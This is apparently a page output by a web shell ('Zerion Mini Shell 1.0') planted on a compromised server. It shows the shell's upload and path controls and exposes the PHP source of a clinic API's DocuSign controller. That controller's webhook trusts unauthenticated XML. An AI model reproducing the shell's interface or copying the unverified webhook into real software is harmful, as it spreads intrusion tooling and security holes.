%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/www/html/klinisol/klinisol-api/app/Http/Controllers/Api/v1/
Upload File :
Create Path :
Current File : /var/www/html/klinisol/klinisol-api/app/Http/Controllers/Api/v1/DocuSignController.php

<?php

namespace App\Http\Controllers\Api\v1;

use App\Exceptions\WebhookException;
use App\Http\Controllers\Api\ApiController;
use App\Models\Docusign;
use App\Services\ESign;
use App\Transformers\DocuSignTemplateTransformer;
use Illuminate\Http\Request;

class DocuSignController extends ApiController
{
    /**
     * @var ESign
     */
    private $esignApi;

    /**
     * UserController constructor.
     * @param ESign $esignApi
     */
    public function __construct(ESign $esignApi)
    {
        $this->esignApi = $esignApi;
    }

    public function templates()
    {
        try {
            $templates = $this->esignApi->getTemplates();
            return $this->collection($templates, new DocuSignTemplateTransformer);
        } catch (\Exception $e) {
            return response()->json(['message' => 'Can not load templates!'], 400);
        }
    }

    public function getTemplateDocument($id)
    {
        try {
            $template = $this->esignApi->getTemplate($id);
            return response()->json([
                'preview' => $template,
            ]);
        } catch (\Exception $e) {
            return response()->json(['message' => 'Can not load template document!'], 400);
        }
    }

    public function webhook(Request $request)
    {
        try {
            $xml = simplexml_load_string($request->getContent());
            $hasSignedPatient = head(head($xml->EnvelopeStatus->RecipientStatuses)[0]->Status) === 'Completed';
            try {
                $hasSignedDoctor = head(head($xml->EnvelopeStatus->RecipientStatuses)[1]->Status) === 'Completed';
            } catch (\Exception $e) {
                $hasSignedDoctor = true;
            }
            /** @var Docusign $docusign */
            $docusign = Docusign::getByEnvelopeId($xml->EnvelopeStatus->EnvelopeID);
            if ($hasSignedDoctor) {
                if ($hasSignedPatient) {
                    $docusign->model->completed();
                }
            } else if ($hasSignedPatient) {
                $docusign->model->signedPatient();
            }
            return response()->json([], 200);
        } catch (\Exception $e) {
            throw new WebhookException($e->getMessage());
        }
    }

}

Zerion Mini Shell 1.0